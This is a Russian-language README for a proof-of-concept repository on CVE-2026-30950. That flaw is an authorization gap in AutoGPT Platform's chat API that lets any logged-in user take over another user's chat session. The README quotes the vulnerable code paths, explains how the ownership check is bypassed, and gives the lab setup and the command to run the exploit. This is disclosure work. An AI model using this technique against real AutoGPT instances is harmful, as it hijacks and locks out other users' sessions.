
POC для CVE-2026-30950, позволяющий перехват сессии в AutoGpt
POC-демонстрация для CVE-2026-30950 — аутентифицированного IDOR (отсутствие авторизации) в AutoGPT Platform, который позволяет любому вошедшему в систему пользователю переназначать — и тем самым захватывать — чат-сессию любого другого пользователя с помощью одного PATCH-запроса, не имея предварительного доступа к сессии.
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L)autogpt-platform-backend >= 0.6.36API чат-сессий предоставляет маршрут, который позволяет пользователю привязать свою учётную запись к записи сессии. Маршрут защищён JWT-аутентификацией, но не проверяет, что вызывающий пользователь в настоящее время владеет изменяемой сессией — только то, что он какой-то аутентифицированный пользователь. Прямой вызов с session_id жертвы и JWT атакующего передаёт владение сессией атакующему.
Уязвимость имеет три уровня, и обход достигается на каждом из них:
# autogpt_platform/backend/backend/api/features/chat/routes.py:753-776
@router.patch(
"/sessions/{session_id}/assign-user",
dependencies=[Security(auth.requires_user)],
status_code=200,
)
async def session_assign_user(
session_id: str,
user_id: Annotated[str, Security(auth.get_user_id)],
) -> dict:
await chat_service.assign_user_to_session(session_id, user_id)
return {"status": "ok"}
Маршрут принимает любого аутентифицированного вызывающего. Он передаёт управление сервису:
# autogpt_platform/backend/backend/copilot/service.py:291-303
async def assign_user_to_session(session_id: str, user_id: str) -> ChatSessionInfo:
session = await get_chat_session(session_id, None) # ← user_id=None
if not session:
raise NotFoundError(f"Session {session_id} not found")
session.user_id = user_id
session = await upsert_chat_session(session)
return session
Сервис намеренно передаёт user_id=None в слой доступа к данным, вместо того чтобы передавать идентификатор пользователя вызывающего. Затем слой доступа к данным трактует None как режим администратора и пропускает фильтр владельца:
# autogpt_platform/backend/backend/copilot/model.py:355-366
session = await _get_session_from_cache(session_id)
if session:
if user_id is not None and session.user_id != user_id:
logger.warning(f"Session {session_id} user id mismatch")
return None
return session
Когда user_id is None, условие вычисляется по короткой схеме, и проверка несоответствия не выполняется вовсе — любому вызывающему возвращается любая сессия. Затем сервис перезаписывает session.user_id идентификатором вызывающего и кэширует результат в Redis, поэтому последующие запросы исходного владельца отклоняются той самой проверкой несоответствия, которую только что обошли.
Любой экземпляр AutoGPT Platform, работающий на autogpt-platform-backend >= 0.6.36 и < 0.6.51 с включённой функцией чата (copilot), уязвим для эксплуатации. Для эксплуатации требуется:
Влияние на каждую сессию, усиливающееся с каждой захваченной сессией:
Оценка CVSS (C:H / I:N / A:L) отражает масштаб в рамках сессии: высокое влияние на конфиденциальность захваченных сессий, отсутствие воздействия на целостность существующих сообщений и влияние на доступность (блокировка) для законного владельца.
Этот репозиторий содержит один POC, охватывающий прямой триггер: одиночный PATCH-запрос от JWT атакующего к известному session_id. Скрипт настройки создаёт двух пользователей (атакующего и жертву) в только что развёрнутом стеке AutoGPT и проверяет предусловия, прежде чем объявить о готовности.
setup/ — окружение Docker Compose.
setup.sh клонирует AutoGPT на последнем уязвимом теге
(autogpt-platform-beta-v0.6.50) в setup/AutoGPT-src/, поднимает
минимальный набор сервисов из docker-compose.yml вышестоящего проекта
(rest_server, copilot_executor, database_manager, migrate,
а также их транзитивные зависимости: Postgres, Redis, RabbitMQ, Supabase
Kong + GoTrue), создаёт двух тестовых пользователей и проверяет,
что уязвимый эндпоинт маршрутизируется.teardown.sh останавливает стек и удаляет тома.pocs/session_hijack.py — автономный эксплойт. Выполняет вход от имени жертвы и атакующего, создаёт сессию от имени жертвы, подтверждает, что у атакующего нет доступа на чтение до эксплуатации, отправляет одиночный PATCH-запрос, затем доказывает, что владение передано, а жертва заблокирована.Предварительные требования: Docker, Git, Python 3.10+ и uv.
cd setup
./setup.sh
Первый запуск клонирует AutoGPT на уязвимом теге и собирает образ бэкенда (~3–5 минут). Последующие запуски выполняются быстро. По завершении настройки выводится готовая к вставке команда запуска POC.
Запуск POC:
uv run --no-project --with requests \
pocs/session_hijack.py \
--api-url http://localhost:58006 \
--auth-url http://localhost:58000 \
--attacker-email [email protected] \
--attacker-password 'Attacker123!' \
--victim-email [email protected] \
--victim-password 'Victim123!'
Почему такие высокие порты? В compose вышестоящего проекта имена контейнеров заданы жёстко (
supabase-db,rabbitmq, ...), и публикуются порты по умолчанию (5432, 8000, ...). Чтобы сосуществовать с любыми другими стеками Supabase / Postgres / RabbitMQ, которые пользователь мог уже запустить,setup/docker-compose.override.ymlпереименовывает контейнеры, изолирует сети под уникальным именем проекта (autogpt-cve-2026-30950) и переносит два внешне доступных порта в диапазон 58000. Остальные внутренние сервисы привязываются только к docker-сети проекта.
Ожидаемый результат завершается строкой:
[PASS] AUTHENTICATED SESSION HIJACK CONFIRMED
Завершение работы:
cd setup
./teardown.sh
Склонированный исходный код AutoGPT в setup/AutoGPT-src/ сохраняется между запусками teardown, поэтому повторные запуски не требуют повторной загрузки. Чтобы полностью удалить его, удалите setup/AutoGPT-src/.